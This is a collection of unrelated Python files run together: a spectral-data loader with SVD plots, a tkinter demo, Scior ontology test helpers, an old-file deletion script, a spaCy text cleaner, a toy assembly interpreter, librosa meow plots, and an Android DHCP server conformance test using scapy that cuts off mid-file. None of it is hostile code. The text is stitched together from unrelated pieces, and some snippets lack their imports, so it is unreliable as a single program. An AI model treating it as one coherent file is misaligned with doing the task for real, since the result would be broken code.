import time
# import fbpca
import logging
import numpy as np
import pandas as pd
from scipy.sparse.linalg import svds
import matplotlib.pyplot as plt
from matplotlib.colors import LogNorm

class DataLoader(object):
    def __init__(self):
        ################################ Flux Wave ###############################
        self.Ws = {"L": [3800, 5000], "M": [5000, 8000],
                   "H": [8000, 13000]}
        self.Ts = {"L": [4000, 6500], "H": [6500, 30000],
                   "T": [8000, 9000], "F": [4000, 30000]}
        self.flux = None
        self.wave = None
        self.mean = None
        self.size = None
        self.center = False
        self.prod = None
        self.nf = None
        self.nw = None

        self.cmap="YlGnBu"

################################ Flux Wave #####################################
    def prepare_data(self, flux, wave, T, W, fix_CO=True, para=None, cleaned=False, center=False, save=False):
        if cleaned:
            self.flux, self.mean, self.wave = flux, flux.mean(), wave
        else:
            self.center = center
            self.flux, self.mean, self.wave = self.init_flux_wave(flux, wave, para, T, W, fix_CO=fix_CO)
        self.size = self.flux.shape
        self.nf, self.nw = self.size
        # self.mu = 0.25 * self.nf * self.nw
        self.g = T + W + str(int(fix_CO))
        print(f"center {self.center} {self.g} flux: {self.nf}, wave: {self.nw}")
        self.save = save

    def init_flux_wave(self, flux, wave, para, T, W, fix_CO):

        flux, wave = self.get_flux_in_Wrange(flux, wave, self.Ws[W])
        flux       = self.get_flux_in_Prange(flux, para, self.Ts[T], fix_CO=fix_CO)
        flux = np.clip(-flux, 0.0, None)
        if self.center:
            mean = flux.mean(0)
            return flux - mean, mean, wave
        else:
            return flux, flux.mean(), wave

    def init_para(self, para):
        return pd.DataFrame(data=para, columns=["F","T","L","C","O"])

    # def downsample_flux(self, flux, wave, ds):
    #     return flux[:, ::ds], wave[::ds]

    def resampleSpec(self, flux, step):
        if step==0: return flux
        c = np.cumsum(flux,axis=1)
        b = list(range(1,flux.shape[1],step))
        db = np.diff(c[:,b],axis=1)
        dd = (db/step)
        return dd

    def resampleWave(self, wave,step):
        if step==0: return wave
        w = np.cumsum(np.log(wave))
        b = list(range(1,wave.shape[0],step))
        db = np.diff(w[b])
        dd = (db/step)
        return np.exp(dd)

    def get_flux_in_Wrange(self, flux, wave, Ws):
        start = np.digitize(Ws[0], wave)
        end = np.digitize(Ws[1], wave)
        return flux[:, start:end], wave[start:end]

    def get_flux_in_Prange(self, flux, para, Ts, fix_CO=True):
        dfpara = self.init_para(para)
        if fix_CO:
            dfpara = dfpara[(dfpara["O"] == 0.0)]
            # dfpara = dfpara[(dfpara["C"] == 0.0) & (dfpara["O"] == 0.0)]
            print(f"CO==0: {dfpara.size}")
        self.dfpara = dfpara[(dfpara["T"] >= Ts[0]) & (dfpara["T"] <= Ts[1])]
        return flux[self.dfpara.index]

    def get_flux_stats(self, flux=None):
        flux = flux or self.flux
        # return np.max(np.sum(np.abs(self.flux), axis=1)), np.sum(self.flux**2)**0.5
        l1_inf = np.max(np.abs(self.flux))
        l2 = np.sum(self.flux ** 2) ** 0.5
        print(f"l1_inf: {l1_inf}, l2: {l2}")
        if self.center:
            self.GCs[self.g] = [l1_inf, l2]
        else:
            self.Gs[self.g] = [l1_inf, l2]

    def _svd(self, X, rank=40, tol=1e-2):
        u, s, v = svds(X, k=rank, tol=tol)
        return  u[:,::-1], s[::-1], v[::-1, :]

    def plot_pcp(self, M, L, S, u, s, v, cmap="hot"):
        plt.figure(figsize=(8, 8))
        plt.subplot(2, 2, 1)
        plt.imshow(np.abs(M), aspect="auto", cmap=cmap,)
        plt.title("Original Flux")
        plt.subplot(2, 2, 2)
        plt.imshow(np.abs(L), aspect="auto", cmap=cmap)
        plt.title("Low rank matrix")
        plt.subplot(2, 2, 3)
        plt.imshow(np.abs(S), cmap=cmap, aspect="auto", )
        plt.title("Sparse matrix")
        plt.subplot(2, 2, 4)
        for i in range(min(len(v),5)):
            plt.plot(self.wave, v[i] + 0.3*(1 + i))
        plt.plot(self.wave, np.mean(np.abs(S), axis=0), c="k")
        # plt.imshow(np.dot(u, np.dot(np.diag(s), v)), cmap="gray")
        plt.title("L & S")
        plt.show()

    def plot_mask(self, mask, ax=None, ymax=0.3, c='r'):
        ax = ax or plt.gca()
        ax.vlines(self.wave[mask], ymin=0, ymax=ymax, color=c)

    def plot_eigv(self, v, mask=None, gap=0.3, ax=None, mask_c="r"):
        ax = ax or plt.gca()

        for i in range(min(len(v),5)):
            ax.plot(self.wave, v[i] + gap*(i+1))
        if mask is not None: self.plot_mask(mask, ax=ax, c=mask_c)


import tkinter
from tkinter import *
import sys

def show():
	print("Hello World!")

root=Tk()
root.title("window")
root.geometry("250x250")
root.resizable(True,True)
root.minsize(200,200)
root.maxsize(300,300)
root.configure(background="Beige")

b=Button(root,text="click!",width=20,bg='red',command=show)
b.place(x=50,y=50)


""" Auxiliary functions used for testing Scior. """
import csv

from scior.modules.ontology_dataclassess.dataclass_definitions import OntologyDataClass
from scior.modules.utils_dataclass import get_dataclass_by_uri

def get_test_list() -> list[tuple]:
    """ Loads information about test test_files from csv and creates a list of tuples with tests' information.

    :return: The returned tuples' content is:
                row[0] (str) input file name: name of the input file to be tested using Scior.
                row[1] (str) output file name: file with the expected output to be compared with Scior's results.
                row[2] (str) world-assumption to be used in the test. Can assume the values "cwa", "owa", or "owaf".
                row[3] (bool) expected consistency: indicates if the result is expected to be consistent or not.
                row[4] (bool) expected result: indicates if the result is expected to be correct or not.
    :rtype: list[tuple]
    """

    tests_information = []

    with open('./test_files/all_tests.csv', mode='r') as csv_file:
        csv_reader = csv.DictReader(csv_file)
        for row in csv_reader:
            single_test = tuple(row.values())
            tests_information.append(single_test)

    return tests_information

def validate_results(input_list: list[OntologyDataClass], output_list: list[OntologyDataClass]) -> bool:
    """ Receives the input list of dataclasses and the output list and checks if all classifications from the
    output list classes are in the correspondent input list classes.

    :param input_list: List of classes obtained from input file with classifications after Scior's execution.
    :type input_list: list[OntologyDataClass]
    :param output_list: List of classes obtained from output file with expected classifications for each class.
    :type output_list: list[OntologyDataClass]
    :return: Indicates if all expected classifications were obtained (True) or not (False).
    :rtype: bool
    """

    result_correct = True

    for out_class in output_list:
        in_class = get_dataclass_by_uri(input_list, out_class.uri)

        if not set(out_class.is_type).issubset(set(in_class.is_type)) or not set(out_class.not_type).issubset(
                set(in_class.not_type)):
            result_correct = False
            break

    return result_correct


#! /usr/local/bin/python3

import time
import os
import yaml
import shutil

directory = os.path.dirname(os.path.realpath(__file__))
configFile = open(directory + '/config.yaml', 'r').read()

config = yaml.load(configFile)

seconds = 86400 * config['days_to_keep_files']

time_ago = time.time() - seconds

def process_folder(folder):
	os.chdir(folder)
	for somefile in os.listdir(folder):
	    st=os.stat(somefile)
	    mtime=st.st_mtime
	    if mtime < time_ago:
	    	if os.path.isfile(somefile):
	    		os.unlink(somefile)
	    	else:
	        	shutil.rmtree(somefile)

for i, folder in enumerate(config['folders']):
	process_folder(folder)


import sys
import os
import re
import spacy

class FunctionalsCleaner:

	def __init__(self, text_path):

		self.sp = spacy.load('pt_core_news_md')

		self.text_path = text_path

		self.corpus = {}

		self.get_corpus()

		self.functional_words = ['PUNCT','SYMBOL','DET','ADP','INTJ','PRON','CONJ','CCONJ','SCONJ','AUX']

	def get_corpus(self):

		self.read_text(self.text_path)

	def read_text(self,file_path):

		try:

			with open(file_path, 'r') as f:

				self.corpus['raw_text'] = f.read().splitlines()
				self.corpus['raw_text'] = " ".join(self.corpus['raw_text'])

		except IOError:

			print("Arquivo não existe!")

	def clean_functionals(self):

		doc = self.sp(self.corpus['raw_text'])

		cleaned_tokens = self.get_cleaned_tokens(doc)

		cleaned_text = self.get_cleaned_text(cleaned_tokens)

		print(cleaned_text)

	def get_cleaned_tokens(self,doc):

		cleaned_tokens = []

		for token in doc:

			if( not token.pos_ in self.functional_words):
				cleaned_tokens.append(token.text)

		return cleaned_tokens

	def get_cleaned_text(self,cleaned_tokens):

		#build the text from the tokens
		cleaned_text = " ".join(cleaned_tokens)

		#remove quotes
		cleaned_text = cleaned_text.replace('"',"")

		#remove unwanted white spaces
		cleaned_text = " ".join(cleaned_text.split())

		return cleaned_text

if __name__ == "__main__":

	text_path = sys.argv[1]

	cleaner = FunctionalsCleaner(text_path)
	cleaner.clean_functionals()

#fontes para o desenvolvimento do trabalho:
#   https://spacy.io/usage/linguistic-features
#   https://machinelearningknowledge.ai/tutorial-on-spacy-part-of-speech-pos-tagging/#Why_POS_tag_is_used
#   https://medium.com/@dehhmesquita/natural-language-processing-com-a-biblioteca-spacy-f324a9eeb8dc


# Please enter the name of the file you wish to read
import sys

file_name = "input-1.asm"

# Create a dictionary to hold the register values
registers = {}

# Define the functions to execute each instruction

# Add the values of the registers x and y and store the result into the x register
def add(x, y):
    registers[x] += registers[y]

# Copy the value of y (which could be a constant or the contents of a register) into register x
def mov(x, y):
    if y.isalpha():
        registers[x] = registers[y]
    else:
        registers[x] = int(y)

# Print the Unicode representation of the value in the register x to stdout (without a newline character).
def print_reg(x):
    print(chr(registers[x]), end='')

# Jump to the instruction `y` steps away (forward for positive values of y,
# backward for negative values of y),
# but only if `x` (a constant or register) is non-zero (Jump Not Zero).
def jnz(x, y):
    if x.isalpha():
        x = registers[x]
    else:
        x = int(x)
    if x != 0:
        if y.isalpha():
            return registers[y]
        else:
            return int(y)
    else:
        return None

# initialize the values of the registers x and y
def initialize_register(x, y):
    if x not in registers:
        registers[x] = 0
    if y not in registers:
        registers[y] = 0

# open the file
try:
    with open(file_name) as f:
        instructions = f.readlines()
except IOError:
    print("Cannot read the file")
    sys.exit()

# Start the Program After reading
i = 0
while i < len(instructions):
    instruction = instructions[i].strip().split()
    getTheNameOfFun = instruction[0]

    # Check the operation and call the corresponding function
    if getTheNameOfFun == "add":
        x, y = instruction[1], instruction[2]
        initialize_register(x, y)
        add(x, y)

    elif getTheNameOfFun == "mov":
        x, y = instruction[1], instruction[2]
        if x not in registers:
            registers[x] = 0
        mov(x, y)

    elif getTheNameOfFun == "print":
        x = instruction[1]
        if x not in registers:
            registers[x] = 0
        print_reg(x)

    elif getTheNameOfFun == "jnz":
        x, y = instruction[1], instruction[2]
        initialize_register(x, y)
        jmp = jnz(x, y)
        if jmp is not None:
            i += jmp
            continue

    i += 1


fig, axs = plt.subplots(nrows=2, ncols=2, figsize=(16, 12))

youtube_meow, sr = librosa.core.load('./data/meow/youtube_Q2WxLrS94RM_117.wav',
                                     sr=None)
num_samples = len(youtube_meow)
t = np.arange(num_samples)
axs[0][0].plot(t, youtube_meow)

t_ticks = np.linspace(0, num_samples, num=5)
t_tick_labels = ['{:.2f}'.format(t_tick / sr) for t_tick in t_ticks]
axs[0][0].set_xticks(t_ticks)
axs[0][0].set_xticklabels(t_tick_labels)

axs[0][0].set_xlabel('Time')
axs[0][0].set_ylabel('Amplitude')

axs[0][0].set_title('Meow 0 ')

####

top_db = 12
youtube_meow_trimmed = librosa.effects.trim(youtube_meow, top_db=top_db)[0]
num_samples_trimmed = len(youtube_meow_trimmed)
t_trimmed = np.arange(num_samples_trimmed)
axs[0][1].plot(t_trimmed, youtube_meow_trimmed)

t_ticks = np.linspace(0, num_samples_trimmed, num=5)
t_tick_labels = ['{:.2f}'.format(t_tick / sr) for t_tick in t_ticks]
axs[0][1].set_xticks(t_ticks)
axs[0][1].set_xticklabels(t_tick_labels)

axs[0][1].set_xlabel('Time')
axs[0][1].set_ylabel('Amplitude')

axs[0][1].set_title(f'Meow 0 Trimmed')

####

newton_meow, sr = librosa.core.load('./data/meow/newton_1.wav', sr=None)
num_samples = len(newton_meow)
t = np.arange(num_samples)
axs[1][0].plot(t, newton_meow)

t_ticks = np.linspace(0, num_samples, num=5)
t_tick_labels = ['{:.2f}'.format(t_tick / sr) for t_tick in t_ticks]
axs[1][0].set_xticks(t_ticks)
axs[1][0].set_xticklabels(t_tick_labels)

axs[1][0].set_xlabel('Time')
axs[1][0].set_ylabel('Amplitude')

axs[1][0].set_title('Newton Meow')

####

newton_meow_trimmed = librosa.effects.trim(newton_meow, top_db=top_db)[0]
num_samples_trimmed = len(newton_meow_trimmed)
t_trimmed = np.arange(num_samples_trimmed)
axs[1][1].plot(t_trimmed, newton_meow_trimmed)

t_ticks = np.linspace(0, num_samples_trimmed, num=5)
t_tick_labels = ['{:.2f}'.format(t_tick / sr) for t_tick in t_ticks]
axs[1][1].set_xticks(t_ticks)
axs[1][1].set_xticklabels(t_tick_labels)

axs[1][1].set_xlabel('Time')
axs[1][1].set_ylabel('Amplitude')

axs[1][1].set_title(f'Newton Example Trimmed')


from acts import asserts
from acts import base_test
from acts import signals
from acts.controllers import android_device
from acts.test_decorators import test_tracker_info

from scapy.all import *
from threading import Event
from threading import Thread
import random
import time
import warnings

CLIENT_PORT = 68
SERVER_PORT = 67
BROADCAST_MAC = 'ff:ff:ff:ff:ff:ff'
INET4_ANY = '0.0.0.0'
NETADDR_PREFIX = '192.168.42.'
OTHER_NETADDR_PREFIX = '192.168.43.'
NETADDR_BROADCAST = '255.255.255.255'
SUBNET_BROADCAST = NETADDR_PREFIX + '255'
USB_CHARGE_MODE = 'svc usb setFunctions'
USB_TETHERING_MODE = 'svc usb setFunctions rndis'
DEVICE_IP_ADDRESS = 'ip address'

OFFER = 2
REQUEST = 3
ACK = 5
NAK = 6

class DhcpServerTest(base_test.BaseTestClass):
    def setup_class(self):
        self.dut = self.android_devices[0]
        self.USB_TETHERED = False
        self.next_hwaddr_index = 0
        self.stop_arp = Event()

        conf.checkIPaddr = 0
        conf.checkIPsrc = 0
        # Allow using non-67 server ports as long as client uses 68
        bind_layers(UDP, BOOTP, dport=CLIENT_PORT)

        iflist_before = get_if_list()
        self._start_usb_tethering(self.dut)
        self.iface = self._wait_for_new_iface(iflist_before)
        self.real_hwaddr = get_if_raw_hwaddr(self.iface)

        # Start a thread to answer to all ARP "who-has"
        thread = Thread(target=self._sniff_arp, args=(self.stop_arp,))
        thread.start()

        # Discover server IP and device hwaddr
        hwaddr = self._next_hwaddr()
        resp = self._get_response(self._make_discover(hwaddr))
        asserts.assert_false(None == resp,
            "Device did not reply to first DHCP discover")
        self.server_addr = getopt(resp, 'server_id')
        self.dut_hwaddr = resp.getlayer(Ether).src
        asserts.assert_false(None == self.server_addr,
            "DHCP server did not specify server identifier")
        # Ensure that we don't depend on assigned route/gateway on the host
        conf.route.add(host=self.server_addr, dev=self.iface, gw="0.0.0.0")

    def setup_test(self):
        # Some versions of scapy do not close the receive file properly
        warnings.filterwarnings("ignore", category=ResourceWarning)

        bind_layers(UDP, BOOTP, dport=68)
        self.hwaddr = self._next_hwaddr()
        self.other_hwaddr = self._next_hwaddr()
        self.cleanup_releases = []

    def teardown_test(self):
        for packet in self.cleanup_releases:
            self._send(packet)

    def teardown_class(self):
        self.stop_arp.set()
        self._stop_usb_tethering(self.dut)

    def on_fail(self, test_name, begin_time):
        self.dut.take_bug_report(test_name, begin_time)

    def _start_usb_tethering(self, dut):
        """ Start USB tethering

        Args:
            1. dut - ad object
        """
        self.log.info("Starting USB Tethering")
        dut.stop_services()
        dut.adb.shell(USB_TETHERING_MODE, ignore_status=True)
        dut.adb.wait_for_device()
        dut.start_services()
        if 'rndis' not in dut.adb.shell(DEVICE_IP_ADDRESS):
            raise signals.TestFailure('Unable to enable USB tethering.')
        self.USB_TETHERED = True

    def _stop_usb_tethering(self, dut):
        """ Stop USB tethering

        Args:
            1. dut - ad object
        """
        self.log.info("Stopping USB Tethering")
        dut.stop_services()
        dut.adb.shell(USB_CHARGE_MODE)
        dut.adb.wait_for_device()
        dut.start_services()
        self.USB_TETHERED = False

    def _wait_for_device(self, dut):
        """ Wait for device to come back online

        Args:
            1. dut - ad object
        """
        while dut.serial not in android_device.list_adb_devices():
            pass
        dut.adb.wait_for_device()

    def _wait_for_new_iface(self, old_ifaces):
        old_set = set(old_ifaces)
        # Try 10 times to find a new interface with a 1s sleep every time
        # (equivalent to a 9s timeout)
        for i in range(0, 10):
            new_ifaces = set(get_if_list()) - old_set
            asserts.assert_true(len(new_ifaces) < 2,
                "Too many new interfaces after turning on tethering")
            if len(new_ifaces) == 1:
                return new_ifaces.pop()
            time.sleep(1)
        asserts.fail("Timeout waiting for tethering interface on host")

    def _sniff_arp(self, stop_arp):
        try:
            sniff(iface=self.iface, filter='arp', prn=self._handle_arp, store=0,
                stop_filter=lambda p: stop_arp.is_set())
        except:
            # sniff may raise when tethering is disconnected. Ignore
            # exceptions if stop was requested.
            if not stop_arp.is_set():
                raise

    def _handle_arp(self, packet):
        # Reply to all arp "who-has": say we have everything
        if packet[ARP].op == ARP.who_has:
            reply = ARP(op=ARP.is_at, hwsrc=self.real_hwaddr, psrc=packet.pdst,
                hwdst=BROADCAST_MAC, pdst=SUBNET_BROADCAST)
            sendp(Ether(dst=BROADCAST_MAC, src=self.real_hwaddr) / reply,
                iface=self.iface, verbose=False)

    @test_tracker_info(uuid="a8712769-977a-4ee1-902f-90b3ba30b40c")
    def test_config_assumptions(self):
        resp = self._get_response(self._make_discover(self.hwaddr))
        asserts.assert_false(None == resp, "Device did not reply to discover")
        asserts.assert_true(get_yiaddr(resp).startswith(NETADDR_PREFIX),
            "Server does not use expected prefix")

    @test_tracker_info(uuid="e3761689-7d64-46b1-97ce-15f315eaf568")
    def test_discover_broadcastbit(self):
        resp = self._get_response(
            self._make_discover(self.hwaddr, bcastbit=True))
        self._assert_offer(resp)
        self._assert_broadcast(resp)

    @test_tracker_info(uuid="30a7ea7c-c20f-4c46-aaf2-96f19d8f8191")
    def test_discover_bootpfields(self):
        discover = self._make_discover(self.hwaddr)
        resp = self._get_response(discover)
        self._assert_offer(resp)
        self._assert_unicast(resp)
        bootp = assert_bootp_response(resp, discover)
        asserts.assert_equal(INET4_ANY, bootp.ciaddr)
        asserts.assert_equal(self.server_addr, bootp.siaddr)
        asserts.assert_equal(INET4_ANY, bootp.giaddr)
        asserts.assert_equal(self.hwaddr, get_chaddr(bootp))

    @test_tracker_info(uuid="593f4051-516d-44fa-8834-7d485362f182")
    def test_discover_relayed_broadcastbit(self):
        giaddr = NETADDR_PREFIX + '123'
        resp = self._get_response(
            self._make_discover(self.hwaddr, giaddr=giaddr, bcastbit=True))
        self._assert_offer(resp)
        self._assert_relayed(resp, giaddr)
        self._assert_broadcastbit(resp)

    def _run_discover_paramrequestlist(self, params, unwanted_params):
        params_opt = make_paramrequestlist_opt(params)
        resp = self._get_response(
            self._make_discover(self.hwaddr, options=[params_opt]))

        self._assert_offer(resp)
        # List of requested params in response order
        resp_opts = get_opt_labels(resp)
        resp_requested_opts = [opt for opt in resp_opts if opt in params]
        # All above params should be supported, order should be conserved
        asserts.assert_equal(params, resp_requested_opts)
        asserts.assert_equal(0, len(set(resp_opts) & set(unwanted_params)))
        return resp

    @test_tracker_info(uuid="00a8a3f6-f143-47ff-a79b-482c607fb5b8")
    def test_discover_paramrequestlist(self):
        resp = self._run_discover_paramrequestlist(
            ['subnet_mask', 'broadcast_address', 'router', 'name_server'],
            unwanted_params=[])
        for opt in ['broadcast_address', 'router', 'name_server']:
            asserts.assert_true(getopt(resp, opt).startswith(NETADDR_PREFIX),
                opt + ' does not start with ' + NETADDR_PREFIX)

        subnet_mask = getopt(resp, 'subnet_mask')
        asserts.assert_true(subnet_mask.startswith('255.255.'),
            'Unexpected subnet mask for /16+: ' + subnet_mask)

    @test_tracker_info(uuid="d1aad4a3-9eab-4900-aa6a-5b82a4a64f46")
    def test_discover_paramrequestlist_rev(self):
        # RFC2132 #9.8: "The DHCP server is not required to return the options
        # in the requested order, but MUST try to insert the requested options
        # in the order requested"
        asserts.skip('legacy behavior not compliant: fixed order used')
        self._run_discover_paramrequestlist(
            ['name_server', 'router', 'broadcast_address', 'subnet_mask'],
            unwanted_params=[])

    @test_tracker_info(uuid="e3ae6335-8cc7-4bf1-bb58-67646b727f2b")
    def test_discover_paramrequestlist_unwanted(self):
        asserts.skip('legacy behavior always sends all parameters')
        self._run_discover_paramrequestlist(['router', 'name_server'],
            unwanted_params=['broadcast_address', 'subnet_mask'])

    def _assert_renews(self, request, addr, exp_time, resp_type=ACK):
        # Sleep to test lease time renewal
        time.sleep(3)
        resp = self._get_response(request)
        self._assert_type(resp, resp_type)
        asserts.assert_equal(addr, get_yiaddr(resp))
        remaining_lease = getopt(resp, 'lease_time')
        # Lease renewed: waited for 3s, lease time not decreased by more than 2
        asserts.assert_true(remaining_lease >= exp_time - 2,
            'Lease not renewed')
        # Lease times should be consistent across offers/renewals
        asserts.assert_true(remaining_lease <= exp_time + 2,
            'Lease time inconsistent')
        return resp

    @test_tracker_info(uuid="d6b598b7-f443-4b5a-ba80-4af5d211cade")
    def test_discover_assigned_ownaddress(self):
        addr, siaddr, resp = self._request_address(self.hwaddr)

        lease_time = getopt(resp, 'lease_time')
        server_id = getopt(resp, 'server_id')
        asserts.assert_true(lease_time >= 60, "Lease time is too short")
        asserts.assert_false(addr == INET4_ANY, "Assigned address is empty")
        # Wait to test lease expiration time change
        time.sleep(3)

        # New discover, same address
        resp = self._assert_renews(self._make_discover(self.hwaddr),
            addr, lease_time, resp_type=OFFER)
        self._assert_unicast(resp, get_yiaddr(resp))
        self._assert_broadcastbit(resp, isset=False)

    @test_tracker_info(uuid="cbb07d77-912b-4269-bbbc-adba99779587")
    def test_discover_assigned_otherhost(self):
        addr, siaddr, _ = self._request_address(self.hwaddr)

        # New discover, same address, different client
        resp = self._get_response(self._make_discover(self.other_hwaddr,
            [('requested_addr', addr)]))

        self._assert_offer(resp)
        asserts.assert_false(get_yiaddr(resp) == addr,
            "Already assigned address offered")
        self._assert_unicast(resp, get_yiaddr(resp))
        self._assert_broadcastbit(resp, isset=False)

    @test_tracker_info(uuid="3d2b3d2f-eb5f-498f-b887-3b4638cebf14")
    def test_discover_requestaddress(self):
        addr = NETADDR_PREFIX + '200'
        resp = self._get_response(self._make_discover(self.hwaddr,
            [('requested_addr', addr)]))
        self._assert_offer(resp)
        asserts.assert_equal(get_yiaddr(resp), addr)

        # Lease not committed: can request again
        resp = self._get_response(self._make_discover(self.other_hwaddr,
            [('requested_addr', addr)]))
        self._assert_offer(resp)
        asserts.assert_equal(get_yiaddr(resp), addr)

    @test_tracker_info(uuid="5ffd9d25-304e-434b-bedb-56ccf27dcebd")
    def test_discover_requestaddress_wrongsubnet(self):
        addr = OTHER_NETADDR_PREFIX + '200'
        resp = self._get_response(
            self._make_discover(self.hwaddr, [('requested_addr', addr)]))
        self._assert_offer(resp)
        self._assert_unicast(resp)
        asserts.assert_false(get_yiaddr(resp) == addr,
            'Server offered invalid address')

    @test_tracker_info(uuid="f7d6a92f-9386-4b65-b6c1-d0a3f11213bf")
    def test_discover_giaddr_outside_subnet(self):
        giaddr = OTHER_NETADDR_PREFIX + '201'
        resp = self._get_response(
            self._make_discover(self.hwaddr, giaddr=giaddr))
        asserts.assert_equal(resp, None)

    @test_tracker_info(uuid="1348c79a-9203-4bb8-b33b-af80bacd17b1")
    def test_discover_srcaddr_outside_subnet(self):
        srcaddr = OTHER_NETADDR_PREFIX + '200'
        resp = self._get_response(
            self._make_discover(self.hwaddr, ip_src=srcaddr))
        self._assert_offer(resp)
        asserts.assert_false(srcaddr == get_yiaddr(resp),
            'Server offered invalid address')

    @test_tracker_info(uuid="a03bb783-8665-4c66-9c0c-1bb02ddca07e")
    def test_discover_requestaddress_giaddr_outside_subnet(self):
        addr = NETADDR_PREFIX + '200'
        giaddr = OTHER_NETADDR_PREFIX + '201'
        req = self._make_discover(self.hwaddr, [('requested_addr', addr)],
                ip_src=giaddr, giaddr=giaddr)
        resp = self._get_response(req)
        asserts.assert_equal(resp, None)

    @test_tracker_info(uuid="725956af-71e2-45d8-b8b3-402d21bfc7db")
    def test_discover_knownaddress_giaddr_outside_subnet(self):
        addr, siaddr, _ = self._request_address(self.hwaddr)

        # New discover, same client, through relay in invalid subnet
        giaddr = OTHER_NETADDR_PREFIX + '200'
        resp = self._get_response(
            self._make_discover(self.hwaddr, giaddr=giaddr))
        asserts.assert_equal(resp, None)

    @test_tracker_info(uuid="2ee9d5b1-c15d-40c4-98e9-63202d1f1557")
    def test_discover_knownaddress_giaddr_valid_subnet(self):
        addr, siaddr, _ = self._request_address(self.hwaddr)

        # New discover, same client, through relay in valid subnet
        giaddr = NETADDR_PREFIX + '200'
        resp = self._get_response(
            self._make_discover(self.hwaddr, giaddr=giaddr))
        self._assert_offer(resp)
        self._assert_unicast(resp, giaddr)
        self._assert_broadcastbit(resp, isset=False)

    @test_tracker_info(uuid="f43105a5-633a-417a-8a07-39bc36c493e7")
    def test_request_unicast(self):
        addr, siaddr, resp = self._request_address(self.hwaddr, bcast=False)
        self._assert_unicast(resp, addr)

    @test_tracker_info(uuid="09f3c1c4-1202-4f85-a965-4d86aee069f3")
    def test_request_bootpfields(self):
        req_addr = NETADDR_PREFIX + '200'
        req = self._make_request(self.hwaddr, req_addr, self.server_addr)
        resp = self._get_response(req)
        self._assert_ack(resp)
        bootp = assert_bootp_response(resp, req)
        asserts.assert_equal(INET4_ANY, bootp.ciaddr)
        asserts.assert_equal(self.server_addr, bootp.siaddr)
        asserts.assert_equal(INET4_ANY, bootp.giaddr)
        asserts.assert_equal(self.hwaddr, get_chaddr(bootp))

    @test_tracker_info(uuid="ec00d268-80cb-4be5-9771-2292cc7d2e18")
    def test_request_selecting_inuse(self):
        addr, siaddr, _ = self._request_address(self.hwaddr)
        new_req = self._make_request(self.other_hwaddr, addr, siaddr)
        resp = self._get_response(new_req)
        self._assert_nak(resp)
        self._assert_broadcast(resp)
        bootp = assert_bootp_response(resp, new_req)
        asserts.assert_equal(INET4_ANY, bootp.ciaddr)
        asserts.assert_equal(INET4_ANY, bootp.yiaddr)
        asserts.assert_equal(INET4_ANY, bootp.siaddr)
        asserts.assert_equal(INET4_ANY, bootp.giaddr)
        asserts.assert_equal(self.other_hwaddr, get_chaddr(bootp))
        asserts.assert_equal(
            ['message-type', 'server_id', 56, 'end'], # 56 is "message" opt
            get_opt_labels(bootp))
        asserts.assert_equal(self.server_addr, getopt(bootp, 'server_id'))

    @test_tracker_info(uuid="0643c179-3542-4297-9b06-8d86ff785e9c")
    def test_request_selecting_wrongsiaddr(self):
        addr = NETADDR_PREFIX + '200'
        wrong_siaddr = NETADDR_PREFIX + '201'
        asserts.assert_false(wrong_siaddr == self.server_addr,
            'Test assumption not met: server addr is ' + wrong_siaddr)
        resp = self._get_response(
            self._make_request(self.hwaddr, addr, siaddr=wrong_siaddr))
        asserts.assert_true(resp == None,
            'Received response for request with incorrect siaddr')

    @test_tracker_info(uuid="676beab2-4af8-4bf0-a4ad-c7626ae5987f")
    def test_request_selecting_giaddr_outside_subnet(self):
        addr = NETADDR_PREFIX + '200'
        giaddr = OTHER_NETADDR_PREFIX + '201'
        resp = self._get_response(
            self._make_request(self.hwaddr, addr, siaddr=self.server_addr,
                giaddr=giaddr))
        asserts.assert_equal(resp, None)

    @test_tracker_info(uuid="fe17df0c-2f41-416f-bb76-d75b74b63c0f")
    def test_request_selecting_hostnameupdate(self):
        addr = NETADDR_PREFIX + '123'
        hostname1 = b'testhostname1'
        hostname2 = b'testhostname2'
        req = self._make_request(self.hwaddr, None, None,
            options=[
                ('requested_addr', addr),
                ('server_id', self.server_addr),
                ('hostname', hostname1)])
        resp = self._get_response(req)
        self._assert_ack(resp)
        self._assert_unicast(resp, addr)
        asserts.assert_equal(hostname1, getopt(req, 'hostname'))

        # Re-request with different hostname
        setopt(req, 'hostname', hostname2)
        resp = self._get_response(req)
        self._assert_ack(resp)
        self._assert_unicast(resp, addr)
        asserts.assert_equal(hostname2, getopt(req, 'hostname'))

    def _run_initreboot(self, bcastbit):
        addr, siaddr, resp = self._request_address(self.hwaddr)
        exp = getopt(resp, 'lease_time')

        # init-reboot: siaddr is None
        return self._assert_renews(self._make_request(
                self.hwaddr, addr, siaddr=None, bcastbit=bcastbit), addr, exp)

    @test_tracker_info(uuid="263c91b9-cfe9-4f21-985d-b7046df80528")
    def test_request_initreboot(self):
        resp = self._run_initreboot(bcastbit=False)
        self._assert_unicast(resp)
        self._assert_broadcastbit(resp, isset=False)

    @test_tracker_info(uuid="f05dd60f-03dd-4e2b-8e58-80f4d752ad51")
    def test_request_initreboot_broadcastbit(self):
        resp = self._run_initreboot(bcastbit=True)
        self._assert_broadcast(resp)

    @test_tracker_info(uuid="5563c616-2136-47f6-9151-4e28cbfe797c")
    def test_request_initreboot_nolease(self):
        # RFC2131 #4.3.2
        asserts.skip("legacy behavior not compliant")
        addr = NETADDR_PREFIX + '123'
        resp = self._get_response(self._make_request(self.hwaddr, addr, None))
        asserts.assert_equal(resp, None)

    @test_tracker_info(uuid="da5c5537-cb38-4a2e-828f-44bc97976fe5")
    def test_request_initreboot_incorrectlease(self):
        otheraddr = NETADDR_PREFIX + '123'
        addr, siaddr, _ = self._request_address(self.hwaddr)
        asserts.assert_false(addr == otheraddr,
            "Test assumption not met: server assigned " + otheraddr)

        resp = self._get_response(
            self._make_request(self.hwaddr, otheraddr, siaddr=None))
        self._assert_nak(resp)
        self._assert_broadcast(resp)

    @test_tracker_info(uuid="ce42ba57-07be-427b-9cbd-5535c62b0120")
    def test_request_initreboot_wrongnet(self):
        resp = self._get_response(self._make_request(self.hwaddr,
            OTHER_NETADDR_PREFIX + '1', siaddr=None))
        self._assert_nak(resp)
        self._assert_broadcast(resp)

    def _run_rebinding(self, bcastbit, giaddr=INET4_ANY):
        addr, siaddr, resp = self._request_address(self.hwaddr)
        exp = getopt(resp, 'lease_time')

        # Rebinding: no siaddr or reqaddr
        resp = self._assert_renews(
            self._make_request(self.hwaddr, reqaddr=None, siaddr=None,
                ciaddr=addr, giaddr=giaddr, ip_src=addr,
                ip_dst=NETADDR_BROADCAST, bcastbit=bcastbit),
            addr, exp)
        return resp, addr

